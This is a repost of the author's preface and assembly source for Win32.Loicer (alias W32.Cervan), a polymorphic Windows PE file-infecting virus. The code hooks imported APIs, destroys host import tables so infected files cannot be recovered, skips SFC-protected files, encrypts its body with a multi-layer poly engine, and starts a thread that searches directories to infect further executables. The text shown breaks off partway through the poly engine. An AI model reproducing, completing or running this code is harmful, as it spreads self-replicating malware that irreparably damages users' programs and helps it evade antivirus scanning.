现在的位置: 首页 > 综合 > 正文

Win32.Loicer, alias, Win32.Cervan

2013年03月30日 ⁄ 综合 ⁄ 共 46125字 ⁄ 字号 评论关闭
This is my biggest PE virus, it's about 3500 lines, the virus binary
size is more than 6K.
Maybe this is my last virus. I've decided to exit from the VXer scene.

It's a pity that there are too many bugs in it. There are two major bugs
in the original version, one is the second threads can dead lock under
some certain condition, the other is I didn't use any SEH in it, so it will
crash when scanning some DOS executables. I've patched the second bugs in
this source code.

This virus' main feature:
1, Simple polymorphism engine. This engine is my first poly engine. It's
very simple, but seems this engine can make some AV software hang the OS.
Some AV s/w's virtual machine can't run it correctly.
2, Unrecoverable infection. After infection, the host PE file structure has
been destroyed and almost impossible to recovery.
3, Full EPO. It doesn't modify the entry point. It uses a new infection
method. It removes the host file's import table and stored the import DLLs
and APIs name in its own buffer. Then it builds a new import table which only
imports LoadLibraryA and GetProcAddress, this two APIs are enough for it to
import all its and the host file's needed APIs. This is how it destroy the
host file. To implement EPO, it hook many APIs which imported by the host
file.
4, Both directly and indirectly infect. As I've said, it hooks many APIs
(about 15 APIs with both ANSI and Unicode version), so it only infects when
the hooked APIs are called. But when the infection is triggered, it will
active the second thread to do a short coninuous infection by searching the
directory.

To learn more about this virus, you can visit Symantec website and read
the write up about virus W32.Cervan.

Bye, the virus world, bye, the Chinese VXer scene.
You can contact me by mail vancheer@hotmail.com
`

.586
.model flat

include kernel32.inc
include user32.inc
include win32.inc
includelib kernel32.lib
includelib user32.lib

DEBUG = 0

if DEBUG
addrGetLastError = 77e8668ch
addrOutputDebugStringA = 77ea0c93h

DEBUGBREAK equ int 3
else
display 'Warning!!! This is release version!!!'
endif

MIN_SIZE_TO_INFECT equ (16*1024)

SECTION_QUERY equ 0001h
SECTION_MAP_WRITE equ 0002h
SECTION_MAP_READ equ 0004h
SECTION_MAP_EXECUTE equ 0008h
SECTION_EXTEND_SIZE equ 0010h

FILE_MAP_COPY equ SECTION_QUERY
FILE_MAP_WRITE equ SECTION_MAP_WRITE
FILE_MAP_READ equ SECTION_MAP_READ
;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS

PAGE_NOACCESS equ 01h
PAGE_READONLY equ 02h
PAGE_READWRITE equ 04h
PAGE_WRITECOPY equ 08h
PAGE_EXECUTE equ 10h
PAGE_EXECUTE_READ equ 20h
PAGE_EXECUTE_READWRITE equ 40h
PAGE_EXECUTE_WRITECOPY equ 80h
PAGE_GUARD equ 100h
PAGE_NOCACHE equ 200h
PAGE_WRITECOMBINE equ 400h

MEM_COMMIT equ 1000h
MEM_RELEASE equ 8000h

PTADD = 0
PTSUB = 1
PTROR = 2
PTROL = 3
PTXOR = 4
PTBSWAP = 5

PTNONE = 38h
PTNUM = 6

PolyUnit struc
PUType db ?
PUKey dd ?
db 3 dup(?) ;for align
PolyUnit ends

PolyVar struc
PVReg db 8 dup(?)
PolyVar ends

FileMapper struct
FMBuffer dd ?
FMFileName dd ?
FMFileHandle dd ?
FMMapHandle dd ?
FMFileSize dd ?
FMFileAttr dd ?
FMFileTime dd 2*3 dup(?)

FMPEBase dd ?
FMCurPtr dd ?

FMImportAPINum dd ?

FMImportPA dd ?
FMImportThunkPA dd ?
FMImportStringPA dd ?
FMDataStartPA equ FMImportStringPA
FMVirImportPA dd ?
FMVirStartPA dd ?
FMVirEntryPA dd ?
FMPolyPA dd ?

FMDataSize dd ? ;the size of can encrypt data

FMLoadLibraryAPA dd ?
FMGetProcAddressPA dd ?

FMPolyUnit PolyUnit 32 dup(<>)
FMPolyVar PolyVar <>
FileMapper ends

IMPORT_IS_ORD = 1
IMPORT_IS_NAME = 2

VIR_IMPORT_SIZE = 95

DEFUNICODE macro sym,str
&sym:
irpc c,str
dw '&c'
endm
dw 0
endm

.data
cap db 'Caption',0
msg db 'Message',0
fn db 'tfuck.exe',0
TmpBuffer db 3 dup(0)
TmpPolyVar db 8 dup(0)
TmpPolyUnit PolyUnit 500 dup(<>)
wildfn db 'd:/asm/mv/*.*',0

DEFUNICODE fnW,
DEFUNICODE wildfnW,

strKernel32 db 'kernel32.dll',0
strLoadLibraryA db 'LoadLibraryA',0
strGetProcAddress db 'GetProcAddress',0

.code

VirStart:
cld

call ImportBuildIP
ImportBuildIP:
pop edx

cld
call GetVirAPIAddress

lea esi,[edx+VirStart-ImportBuildIP]
mov edi,VirVirtualSize
call VirAlloc
mov ecx,VirSize
xchg eax,edi
lea edx,[edi+ImportBuildIP-VirStart]
rep movsb
mov eax,edx
add eax,VirContinue-ImportBuildIP
jmp eax

VirContinue:
;Initialize some variant
xor ecx,ecx
mov [edx+CanSearchTick-ImportBuildIP],ecx
pushad

mov esi,edx

push ecx
push ecx
push ecx
push ecx
call [esi+addrCreateEventA-ImportBuildIP]
mov [esi+VirEventHandle-ImportBuildIP],eax

xor ecx,ecx
push eax
push esp
push ecx
push ecx
lea eax,[esi+SearchThread-ImportBuildIP]
push eax
push ecx
push ecx
call [esi+addrCreateThread-ImportBuildIP]
pop eax

popad

mov esi,12345678h ;Redirected import table offset
RVAImportString equ $-4

;Decrypt import string
push esi
mov edi,esi
mov ecx,12345678h
DecryptImportCount equ $-4

DecryptImportLoop:
lodsb
xor al,0
DecryptImportXorKey equ $-1
ror al,0
DecryptImportRorKey equ $-1
stosb
loop DecryptImportLoop
DecryptImportEnd:
pop esi

mov eax,[esp+9*4] ;API ordinal
push eax
push large ecx ;API count=0
mov ebp,esp

mov edi,87654321 ;Import table address
RVAImportPA equ $-4

lea ebx,[edx+ImportBuildCallback-ImportBuildIP]
sub edi,4
ImportBuildLoop:
add edi,4
push edi
mov edi,[edi]
call VirGetAddress
pop edi
cmp byte ptr [esi],0
jnz short ImportBuildLoop

pop eax
pop eax
mov [esp+9*4],eax

popfd
popad
retn
ImportBuild_end:

ImportBuildCallback:
push ecx
push edi
pushfd

or eax,eax
jz short ImportBuildCallbackNotHook
call ImportBuildCallbackIP
ImportBuildCallbackIP:
pop edx

std
lea edi,[edx+HookAPITable+HookNum*4-4-ImportBuildCallbackIP]
push large HookNum
pop ecx
repnz scasd
jnz short ImportBuildCallbackNotHook
lea edi,[edx+ecx*2+HookProcTable-ImportBuildCallbackIP]
movzx eax,word ptr [edi]
lea edi,[edx+VirStart-ImportBuildCallbackIP]
add eax,edi

ImportBuildCallbackNotHook:
mov edx,[ebp]
cmp edx,[ebp+4]
jnz short ImportBuildCallback1
mov [ebp+4],eax
ImportBuildCallback1:
inc dword ptr [ebp]

popfd
pop edi
pop ecx
retn
ImportBuildCallback_end:

;Get the API address used by vir
;Param: edx=>ImportBuildIP
GetVirAPIAddress:
pushad

xor ebx,ebx

lea esi,[edx+Kernel32APIName-ImportBuildIP]
lea edi,[edx+Kernel32APIAddr-ImportBuildIP]
call VirGetAddress

lea esi,[edx+Shell32APIName-ImportBuildIP]
lea edi,[edx+Shell32APIAddr-ImportBuildIP]
call VirGetAddress

lea esi,[edx+SfcAPIName-ImportBuildIP]
lea edi,[edx+SfcAPIAddr-ImportBuildIP]
call VirGetAddress

lea esi,[edx+ComDlg32APIName-ImportBuildIP]
lea edi,[edx+ComDlg32APIAddr-ImportBuildIP]
call VirGetAddress

lea esi,[edx+User32APIName-ImportBuildIP]
lea edi,[edx+User32APIAddr-ImportBuildIP]
call VirGetAddress

popad
retn
GetVirAPIAddress_end:

;Redirected import table
;db kernel32.dll
;db 1,db CreateFileA
;db 2 dw hint
;db WriteFile
;db 0
;db user32.dll
;........
;db 0
;db 0

;Load DLL and get all api address
;Param: esi->DLL name,edi->address,ebx->call back function,ebp=param for the callback
;Return: esi->after null byte
;Callback param: eax=API address,ebp=user defined param,edi->address API to store to
;Callback return: eax=API address to store
VirGetAddress:
push edx

mov edx,12345678h ;RVA of LoadLibraryA
RVALoadLibraryA equ $-4

mov eax,esi
call VirGetStrTail
xchg eax,esi

push dword ptr [eax]
push eax

mov byte ptr [eax],0

push esi
call [edx]
mov ecx,eax

pop eax
pop dword ptr [eax]
xchg esi,eax
VirGetAddressLoop:
lodsb
or al,al
jz short VirGetAddressRet

push ebp
push ecx

cmp al,IMPORT_IS_NAME
jz short VirGetAddressIsName
xor eax,eax
lodsw
mov ebp,[esi]
push esi
push eax
jmp short VirGetAddress1
VirGetAddressIsName:
push esi
call VirGetStrTail
mov ebp,[esi]
mov byte ptr [esi],0
xchg esi,[esp]
push esi
VirGetAddress1:
push ecx
mov edx,55667788h; RVA of GetProcAddress
RVAGetProcAddress equ $-4
call [edx]

pop esi
mov [esi],ebp
pop ecx
pop ebp

or ebx,ebx
jz short VirGetAddressNoCallback
call ebx
VirGetAddressNoCallback:

stosd
jmp short VirGetAddressLoop

VirGetAddressRet:
pop edx

retn
VirGetAddress_end:

;Find the first byte which is less than 6
;Param: esi->string
;Return: esi->strange byte
VirGetStrTail:
dec esi
VirGetStrTailLoop:
inc esi
cmp byte ptr [esi],5
ja short VirGetStrTailLoop
retn
VirGetStrTail_end:

;Infect a file
;Param: edi->FileName
InfectFile:
pushad
call InfectFileIP
InfectFileIP:
pop ebp

cld

or edi,edi
jz InfectFileRet

mov esi,edi
call VirGetStrTail

if DEBUG
mov eax,[esi-8]
call EAXToLowcase
cmp eax,'kcuf' ;if debuging,only infect *fuck.exe
jnz InfectFileRet
endif

mov eax,[esi-4]
call EAXToLowcase
cmp eax,'exe.'
jz short InfectFileStart
cmp eax,'rcs.'
jnz InfectFileRet

InfectFileStart:
call IsInDllCache
jnz InfectFileRet

;Check for SFC
mov ecx,[ebp+addrSfcIsFileProtected-InfectFileIP]
jecxz CheckSFCEnd ;is not Win2K,don't check SFC
mov esi,1000
sub esp,esi

mov eax,esp
push ecx

push large 500
push eax
push large -1
push edi
push large 1 ;MB_PRECOMPOSED
push large 0 ;CP_ACP
call [ebp+addrMultiByteToWideChar-InfectFileIP]

pop ecx
push esp
push large 0
call ecx

add esp,esi

or eax,eax
jnz InfectFileRet
CheckSFCEnd:

sub esp,size FileMapper
mov esi,esp
call MapFile
jz InfectFileFailMap
push esi

push ebp
lea ecx,[ebp+InfectFileSEH-InfectFileIP]
push ecx
xor ecx,ecx
push dword ptr fs:[ecx]
mov fs:[ecx],esp

mov [ebp+InfectFileESP-InfectFileIP],esp

cmp [esi].FMFileSize,16*1024 ;only infect files size bigger than 16K
jc InfectFileUnmap

mov ebx,eax
call CheckPE
jz InfectFileUnmap
mov [esi].FMPEBase,eax

;Check whether it's a WinZip Self-Extractor file
movzx edx,word ptr [eax+14h]
mov edx,[eax+edx+18h+14h+28h] ;ebx->the second section's PointerToRawData
add edx,ebx
cmp dword ptr [edx+10h],'ZniW'
jnz NotWinzip
cmp word ptr [edx+10h+4],'pi'
jz InfectFileUnmap
NotWinzip:

;Check whether the file is a SFX(RAR file)
xor edi,edi
call get_section_of_rva
mov ecx,[edx+0ch]
add ecx,[edx+8]
mov edx,ecx
shr ecx,3
add ecx,edx
cmp ecx,[esi].FMFileSize
jna InfectFileUnmap
add edx,ebx ;now ecx->perhaps rar file header
cmp dword ptr [edx],21726152h ;test for rar signature
jz InfectFileUnmap

mov edi,[eax+80h] ;Import Table RVA
call get_section_of_rva
jz InfectFileUnmap ;No import table
or byte ptr [edx+1ch+3],80h ;modify raw import section as writable

call RVAToPA
add edi,ebx

;Check infected.If there is only one DLL loaded,it's infected.
cmp dword ptr [edi+3*4],0
jz InfectFileUnmap ;has no import table
cmp dword ptr [edi+3*4+5*4],0 ;next dll name
jz InfectFileUnmap ;hasn't second dll,maybe infected

add ebx,[esi].FMFileSize
mov [esi].FMCurPtr,ebx

push edi
push eax
lea edi,[eax+0d0h]
lea ecx,[eax+0a0h]
xor eax,eax
stosd ;Clear import bind entry
stosd
stosd ;Clear Import Address Table entry
stosd
xchg ecx,edi
stosd ;Clear relocation
stosd
pop eax
pop edi

call RedirectImpoartTable
mov ebx,[esi].FMCurPtr

call BuildVirImportTable
mov ebx,[esi].FMCurPtr

mov edi,ebx
call PolyGenGarbageBuffer ;insert some garbage code

push eax
mov [esi].FMVirEntryPA,edi

mov ax,9c60h ;pushad/pushfd
stosw

add edi,10 ; space for two mov reg32,imm32,must be 10 bytes

pop eax

mov [esi].FMPolyPA,edi
push ebp
push esi
push eax

call VirGetRand
xchg eax,edx
and dl,1
add dl,6 ;use esi or edi as pointer reg
and dh,3 ;use common reg as counter
lea ebp,[esi].FMPolyVar
lea esi,[esi].FMPolyUnit
call VirPoly

pop eax
pop esi
pop ebp

mov [esi].FMVirStartPA,edi
push esi
lea esi,[ebp+VirStart-InfectFileIP]
mov ecx,VirSize
rep movsb
pop esi

call PolyGenGarbageBuffer ;insert some garbage code

mov [esi].FMCurPtr,edi

;Initialize some variant
pushad
mov ecx,[esi].FMVirStartPA

mov edi,[esi].FMLoadLibraryAPA
call RealPAToRVA
mov [ecx+RVALoadLibraryA-VirStart],edi

mov edi,[esi].FMGetProcAddressPA
call RealPAToRVA
mov [ecx+RVAGetProcAddress-VirStart],edi

mov edi,[esi].FMImportPA
call RealPAToRVA
mov [ecx+RVAImportPA-VirStart],edi

mov edi,[esi].FMImportStringPA
push edi
call RealPAToRVA
mov [ecx+RVAImportString-VirStart],edi
pop edi

;Encrypt import string
pushad
mov edx,[esi].FMDataSize
mov [ecx+DecryptImportCount-VirStart],edx
call VirGetRand
mov [ecx+DecryptImportRorKey-VirStart],al
mov [ecx+DecryptImportXorKey-VirStart],ah
mov cl,al
mov esi,edi
EncryptImportLoop:
lodsb
rol al,cl
xor al,ah
stosb
dec edx
jnz short EncryptImportLoop
popad

mov edi,ecx
call RealPAToRVA
mov ecx,[esi].FMVirEntryPA
mov al,0b8h
or al,dl
mov [ecx+2],al
mov [ecx+3],edi

;Encrypt virus body
mov ebx,ecx
mov edi,[esi].FMVirStartPA
lea esi,[esi].FMPolyUnit
mov ecx,VirSize
call VirEncrypt

mov al,0b8h
or al,dh
mov [ebx+7],al
mov [ebx+8],ecx

popad

call FillThunkCode

;Save vir import entry
mov edi,[esi].FMVirImportPA
sub edi,[esi].FMBuffer
call PAToRVA
mov [eax+80h],edi
push large VIR_IMPORT_SIZE
pop dword ptr [eax+84h]

;Enlarge the file
xor edi,edi
call get_section_of_rva
mov ecx,[esi].FMCurPtr
sub ecx,[esi].FMBuffer
sub ecx,[edx+0ch]
call RouncECX
cmp ecx,[edx]
jc short InfectFileRound1
mov [edx],ecx
InfectFileRound1:
cmp ecx,[edx+8]
jc short InfectFileRound2
mov [edx+8],ecx
InfectFileRound2:
mov ecx,[edx+0ch]
add ecx,[edx+8]
mov [esi].FMFileSize,ecx

push ecx

mov ecx,[edx]
add ecx,[edx+4]
call RouncECX
mov [eax+50h],ecx ;SizeOfImage

or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h

;Calc eheck sum
pop ecx
lea ebx,[eax+58h] ;CheckSum
xor edx,edx
cmp dword ptr [ebx],edx
jz short NoChecksum
mov dword ptr [ebx],edx
mov esi,[esi].FMBuffer
push ecx
shr ecx,1
clc
ChecksumLoop:
lodsw
adc dx,ax
loop ChecksumLoop
pop ecx
add edx,ecx
mov [ebx],edx

NoChecksum:

InfectFileUnmap:
mov esp,12345678h
InfectFileESP equ $-4
xor ecx,ecx
pop dword ptr fs:[ecx] ; restore except chain
pop ecx
pop ecx

pop esi
call UnmapFile

InfectFileFailMap:
add esp,size FileMapper

InfectFileRet:
popad
retn
InfectFile_end:

InfectFileSEH:
call InfectFileSEHIP
InfectFileSEHIP:
pop eax

lea eax,[eax+InfectFileUnmap-InfectFileSEHIP]
push eax
mov eax,[esp + 0ch+4]
pop dword ptr [eax + 0B8h]
xor eax,eax
retn
InfectFileSEH_end:

RealPAToRVA:
sub edi,[esi].FMBuffer
call PAToRVA
add edi,[eax+34h] ;ImageBase
retn
RealPAToRVA_end:

;Round ecx to 1000h
RouncECX:
test cx,0fffh
jz short RouncECX1
and cx,0f000h
add ecx,1000h
RouncECX1:
retn
RouncECX_end:

;Fill the raw import table to our entry
;Param: eax->PE base,esi->FilaMapper
FillThunkCode:
pushad

mov ecx,[esi].FMImportAPINum
mov edi,[esi].FMVirEntryPA
sub edi,[esi].FMBuffer
call PAToRVA
mov edx,edi
mov edi,[esi].FMImportThunkPA
mov ebx,edi
sub edi,[esi].FMBuffer
call PAToRVA
sub edx,edi

FillThunkCodeLoop:
sub edx,1+4+1+4
mov byte ptr [ebx+1+4],0e9h
mov [ebx+1+4+1],edx
add ebx,1+4+1+4
loop FillThunkCodeLoop

popad
retn
FillThunkCode_end:

;Param: esi->FileMapper,eax->PE base,DF=0
BuildVirImportTable:
pushad
call BuildVirImportTableIP
BuildVirImportTableIP:
pop ebp

xor edi,edi
call get_section_of_rva
mov ecx,edx
mov edi,[eax+28h]
call get_section_of_rva

push eax

cmp edx,ecx
jnc BuildVirImportTableNoCavPop ;is the last section

lea eax,[edx+8]
mov ebx,[eax]
cmp ebx,[edx]
jc short BuildVirImportTableFindCav2
mov ebx,[edx]
mov eax,edx
BuildVirImportTableFindCav2:
or ebx,ebx
jz BuildVirImportTableNoCavPop ;the minor size is zero,don't use it

mov edi,[edx+28h+0ch] ;next section's PointerToRawData
add ebx,[edx+0ch]
sub edi,ebx
cmp edi,VIR_IMPORT_SIZE+10
jle short BuildVirImportTableNoCavPop
mov edi,ebx
add edi,[esi].FMBuffer
add dword ptr [eax],VIR_IMPORT_SIZE+10 ;enlarge raw data size
or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h
and dword ptr [edx+1ch],not 02020000 ;remove discardable Characteristics
jmp short BuildVirImportTableBeginBuild

BuildVirImportTableNoCavPop:
mov edi,[esi].FMCurPtr

BuildVirImportTableBeginBuild:
pop eax

mov [esi].FMVirImportPA,edi
push eax
xor eax,eax
push large 5*2+3
pop ecx
rep stosd
pop eax

push edi
push esi
push large VirImportTableStringSize
pop ecx
lea esi,[ebp+VirImportTable-BuildVirImportTableIP]
rep movsb
pop esi

cmp edi,[esi].FMCurPtr
jb short BuildVirImportTableInner
mov [esi].FMCurPtr,edi
BuildVirImportTableInner:
pop edi

lea edx,[edi-3*4-5*4-2*4] ;->DLL name RVA
sub edi,[esi].FMBuffer
call PAToRVA
mov [edx],edi
sub edi,3*4
mov [edx+4],edi
add edx,5*4+2*4
add edi,3*4+12
mov [edx],edi
mov [esi].FMLoadLibraryAPA,edx
add edi,14
add edx,4
mov [edx],edi
mov [esi].FMGetProcAddressPA,edx
popad
retn
BuildVirImportTable_end:

comment $
Redirect Import Table format
db 'kernel32.dll'
db IMPORT_IS_NAME,'CreateFileA'
db IMPORT_IS_ORD,1,2
db IMP...
db 0
next dll
db 0

Import Thunk Code format
push large ordinal
jmp vircode
$
;Param: edi->Raw import table,esi->FileMapper,eax->PE base,DF=0
RedirectImpoartTable:
pushad
mov ebx,[esi].FMCurPtr
mov [esi].FMImportStringPA,ebx

push edi
push eax

mov edx,edi
sub edx,5*4

RedirectImpoartTableLoop:
add edx,5*4
mov edi,[edx+4*3] ;edi->DLL name RVA
or edi,edi
jz short RedirectImpoartTableThunk
mov eax,[esi].FMPEBase
call RVAToPA
mov ecx,[esi].FMBuffer
add edi,ecx
push eax
;Copy DLL name
RedirectImpoartTable1:
mov al,[edi]
mov [ebx],al
mov byte ptr [edi],0 ;trash the DLL name
inc edi
inc ebx
or al,al
jnz short RedirectImpoartTable1

dec ebx ;no tail null byte

;Some APPs' FirstThunk not point to vaild address
;so we must use Characteristics at first
mov edi,[edx] ;edi->DLL Characteristics
or edi,edi
jnz short RedirectImpoartTableUseDLLChar
mov edi,[edx+4*4] ;edi->FirstThunk RVA
RedirectImpoartTableUseDLLChar:
pop eax
call RVAToPA
add edi,ecx
sub edi,4

RedirectImpoartTableAPILoop:
add edi,4
mov ecx,[edi]
mov byte ptr [ebx],0
inc ebx
jecxz RedirectImpoartTableLoop
dec ebx
test ecx,80000000h
jnz short RedirectImpoartTableIsOrd
xchg ecx,edi
call RVAToPA
xchg ecx,edi
add ecx,[esi].FMBuffer
inc ecx
inc ecx ;Skip ordinal
mov byte ptr [ebx],IMPORT_IS_NAME
inc ebx
;Copy API name
RedirectImpoartTable2:
push eax
mov al,[ecx]
mov [ebx],al
mov byte ptr [ecx],0 ;trash API name
inc ebx
inc ecx
or al,al
pop eax
jnz short RedirectImpoartTable2

dec ebx ;no tail null byte

jmp short RedirectImpoartTableAPILoop
RedirectImpoartTableIsOrd:
mov byte ptr [ebx],IMPORT_IS_ORD
inc ebx
mov word ptr [ebx],cx
inc ebx
inc ebx
jmp short RedirectImpoartTableAPILoop

;Generate thunk code
RedirectImpoartTableThunk:
mov eax,ebx
sub eax,[esi].FMImportStringPA
mov [esi].FMDataSize,eax

mov byte ptr [ebx],0 ;import table tail null byte
inc ebx

mov dword ptr [esi].FMImportAPINum,0
pop eax ;PE base
pop edx ;Import table

mov [esi].FMImportThunkPA,ebx
push edx
push eax
sub edx,4*5
RedirectImpoartTableThunkLoop:
add edx,4*5
cmp dword ptr [edx+3*4],0
jz short RedirectImpoartTableTrash

mov edi,[edx+4*4]

call RVAToPA
add edi,[esi].FMBuffer
sub edi,4
RedirectImpoartTableThunkAPILoop:
add edi,4
mov ecx,edi
cmp dword ptr [ecx],0
jz short RedirectImpoartTableThunkLoop
push edi
mov edi,ebx
sub edi,[esi].FMBuffer
call PAToRVA
add edi,[eax+34h] ;ImageBase
mov [ecx],edi ;Redirect import address to our thunk code
pop edi

mov byte ptr [ebx],68h ;push imm32
inc ebx
push dword ptr [esi].FMImportAPINum
pop dword ptr [ebx]
inc dword ptr [esi].FMImportAPINum
add ebx,4+1+4
jmp short RedirectImpoartTableThunkAPILoop

;Trash import table structure,build the DLL APIs table
RedirectImpoartTableTrash:
pop edx
pop edi
mov [esi].FMImportPA,ebx
xor eax,eax

RedirectImpoartTableTrashLoop:
mov [ebx],eax
cmp dword ptr [edi+3*4],0
jz short RedirectImpoartTableRet
mov ecx,[edi+4*4]
add ecx,[edx+34h] ;ImageBase
mov [ebx],ecx

push large 5
pop ecx
rep stosd ;trash import table structure
add ebx,4
jmp short RedirectImpoartTableTrashLoop

RedirectImpoartTableRet:
mov [esi].FMCurPtr,ebx
popad
retn
RedirectImpoartTable_end:

;Param: edi=size in byte to alloc
;Return: eax->Buffer
VirAlloc:
pushad
call VirAllocIP
VirAllocIP:
pop ebp
push large PAGE_EXECUTE_READWRITE
push large MEM_COMMIT
push edi
push large 0
call [ebp+addrVirtualAlloc-VirAllocIP]
call SetMemZero
mov [esp+7*4],eax
popad
retn
VirAlloc_end:

;Param: eax->Buffer,edi=size in byte to alloc,DF=0
SetMemZero:
pushad
mov ecx,edi
mov edi,eax
xor eax,eax
rep stosb
popad
retn
SetMemZero_end:

;Parem: ebx->image base
;Return: ZF not set,is valid PE,ZF set,invalid,eax->PE base
CheckPE:
push ecx
xor ecx,ecx
cmp word ptr [ebx],'ZM'
jnz short CheckPERet
mov eax,[ebx+3ch]
cmp eax,4*1024
ja short CheckPERet
add eax,ebx
cmp word ptr [eax],'EP'
jnz short CheckPERet
test byte ptr [eax+16h+1],20h ;Is a DLL?
jnz short CheckPERet
mov dl,[eax+5ch] ;Subsystem
and dl,0feh
cmp dl,2
jnz short CheckPERet
inc ecx
CheckPERet:
or ecx,ecx
pop ecx
retn
CheckPE_end:

;Get the section of a RVA
;in--eax=PE base,edi=RVA to find
;out--edx->section header.VirtualSize,ecx=0 means not found
;if not found,edx=>last section header.VirtualSize
get_section_of_rva:
push esi
push ecx
movzx edx,word ptr [eax+14h]
lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize
movzx ecx,word ptr [eax+6]
inc ecx
get_section_of_rva_1:
dec ecx
jecxz get_section_of_rva_2
add edx,28h ;->VirtualSize
mov esi,[edx+4]; esi=VirtualAddress
cmp edi,esi ;RVAbefore first section header.VirtualSize
movzx ecx,word ptr [eax+6]
inc ecx
PAToRVA_1:
dec ecx
jecxz PAToRVA_2
add edx,28h
cmp edi,[edx+28h+0ch];next section PointerToRawData
jnb short PAToRVA_1
PAToRVA_2:
sub edi,[edx+0ch]
add edi,[edx+4]
pop edx
pop ecx
retn
PAToRVA_end:

;Create a file mapping
;Param: esi->FileMapper edi->FileName
MapFile:
push ebp
push ebx

call MapFileIP
MapFileIP:
pop ebp

push large (size FileMapper) - 1
pop ecx
xor eax,eax
MapFileInit:
mov byte ptr [esi+ecx],al
loop MapFileInit
mov dword ptr [esi],eax

mov [esi].FMFileName,edi

push edi
call [ebp+addrGetFileAttributesA-MapFileIP]
mov [esi].FMFileAttr,eax

and eax,not FILE_ATTRIBUTE_READONLY
push eax
push edi
call [ebp+addrSetFileAttributesA-MapFileIP]

push large 0
push large FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_HIDDEN
push large OPEN_EXISTING
push large 0
push large FILE_SHARE_READ
push large GENERIC_WRITE or GENERIC_READ
push edi
call [ebp+addrCreateFileA-MapFileIP]
inc eax
jz short MapFileRet
mov [esi].FMFileHandle,eax

dec eax

lea ebx,[esi].FMFileTime
push ebx ;ebx->file last write time
add ebx,8
push ebx
add ebx,8
push ebx
push eax
call [ebp+addrGetFileTime-MapFileIP]

push ecx
push esp ;->file size high
push [esi].FMFileHandle
call [ebp+addrGetFileSize-MapFileIP]
pop ecx
inc eax
jz MapFileRet
dec eax
or ecx,ecx
jnz MapFileRet
mov [esi].FMFileSize,eax

xchg eax,ebx

add ebx,256*1024 ; 256K buffer
xor edx,edx
push edx
push ebx
push edx
push large PAGE_READWRITE
push edx
push [esi].FMFileHandle
call [ebp+addrCreateFileMappingA-MapFileIP]

or eax,eax
jz MapFileRet
mov [esi].FMMapHandle,eax

push ebx
push large 0
push large 0
push large FILE_MAP_WRITE
push eax
call [ebp+addrMapViewOfFile-MapFileIP]
mov [esi].FMBuffer,eax

MapFileRet:
pop ebx
pop ebp
mov eax,[esi].FMBuffer
or eax,eax
ret
MapFile_end:

;Unmap a file mapping
;Param: esi->FileMapper
UnmapFile:
pushad
call UnmapFileIP
UnmapFileIP:
pop ebp
push [esi].FMBuffer
call [ebp+addrUnmapViewOfFile-UnmapFileIP]

push [esi].FMMapHandle
call [ebp+addrCloseHandle-UnmapFileIP]

push large 0
push large 0
push [esi].FMFileSize
push [esi].FMFileHandle
call [ebp+addrSetFilePointer-UnmapFileIP]

mov edi,[esi].FMFileHandle
push edi
call [ebp+addrSetEndOfFile-UnmapFileIP]

lea ebx,[esi].FMFileTime
push ebx
add ebx,8
push ebx
add ebx,8
push ebx
push edi
call [ebp+addrSetFileTime-UnmapFileIP]

push edi
call [ebp+addrCloseHandle-UnmapFileIP]

push [esi].FMFileAttr
push [esi].FMFileName
call [ebp+addrSetFileAttributesA-UnmapFileIP]

popad
retn
UnmapFile_end:

EAXToLowcase:
push ecx
push large 4
pop ecx
EAXToLowcase_0:
cmp al,'A'
jc EAXToLowcase_1
cmp al,'Z'
ja EAXToLowcase_1
add al,'a'-'A'
EAXToLowcase_1:
ror eax,8
loop EAXToLowcase_0
pop ecx
retn
EAXToLowcase_end:

;Check whether the path include 'tem32/dllcach'('system32/dllcache')
;Param: edi->full path file name,esi->tail of file name
;Return: ZF=0 means is,ZF=1 means not
IsInDllCache:
pushad

xor ebx,ebx
xchg esi,edi
IsInDllCacheLoop:
push esi
lodsd
call EAXToLowcase
cmp eax,'3met'
jnz short IsInDllCacheNext
lodsd
call EAXToLowcase
cmp eax,'ld/2'
jnz short IsInDllCacheNext
lodsd
call EAXToLowcase
cmp eax,'cacl'
jnz short IsInDllCacheNext
inc ebx
jmp short IsInDllCacheRet
IsInDllCacheNext:
pop esi
inc esi
lea eax,[esi+10]
cmp eax,edi
jc short IsInDllCacheLoop
push esi
IsInDllCacheRet:
pop esi
or ebx,ebx
popad
retn
IsInDllCache_end:

db 'Win32 Loicer by Vancheer/CVC,made in China,2002'

;Param: esi->PolyUnit,edi->buffer to encrypt,ecx=buffer size
;Return: ecx=rounded size
VirEncrypt:
call VirGetEncryptSize

pushad

mov ebp,esi
;We must reverse the decrypt order generated by the poly engine
VirEncryptReverseLoop:
cmp [esi].PUType,PTNONE
jz short VirEncryptBegin
add esi,size PolyUnit
jmp short VirEncryptReverseLoop

VirEncryptBegin:
VirEncryptDataLoop:
mov ebx,[edi+ecx]
push esi

VirEncryptTypeLoop:
sub esi,size PolyUnit
mov al,[esi].PUType
mov edx,[esi].PUKey

cmp al,PTXOR
jnz short VirEncrypt_1
xor ebx,edx
jmp short VirEncryptNextType
VirEncrypt_1:

cmp al,PTADD
jnz short VirEncrypt_2
sub ebx,edx
jmp short VirEncryptNextType
VirEncrypt_2:

cmp al,PTSUB
jnz short VirEncrypt_3
add ebx,edx
jmp short VirEncryptNextType
VirEncrypt_3:

cmp al,PTROR
jnz short VirEncrypt_4
push ecx
mov cl,dl
rol ebx,cl
pop ecx
jmp short VirEncryptNextType
VirEncrypt_4:

cmp al,PTROL
jnz short VirEncrypt_5
push ecx
mov cl,dl
ror ebx,cl
pop ecx
jmp short VirEncryptNextType
VirEncrypt_5:

bswap ebx

VirEncryptNextType:
cmp esi,ebp
jnz short VirEncryptTypeLoop

VirEncryptNextData:
pop esi
mov [edi+ecx],ebx
sub ecx,4
jge VirEncryptDataLoop

popad
retn
VirEncrypt_end:

;Param: ecx=buffer size
;Return: ecx=rounded buffer size
VirGetEncryptSize:
and cl,0fch ;round to 4
sub ecx,4
retn
VirGetEncryptSize_end:

;Param: esi->PolyUnit,edi->poly output buffer,ebp->PolyVar
; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4
VirPoly:
pushad

call VirGetRand
movzx ecx,al
and cl,0fh
add cl,08h ;15-23 layers poly

push ecx

mov al,PTNONE

VirPolyLoop:
call PolyInitVar ;don't generate code before PolyInitVar

call PolyGenGarbage

push eax
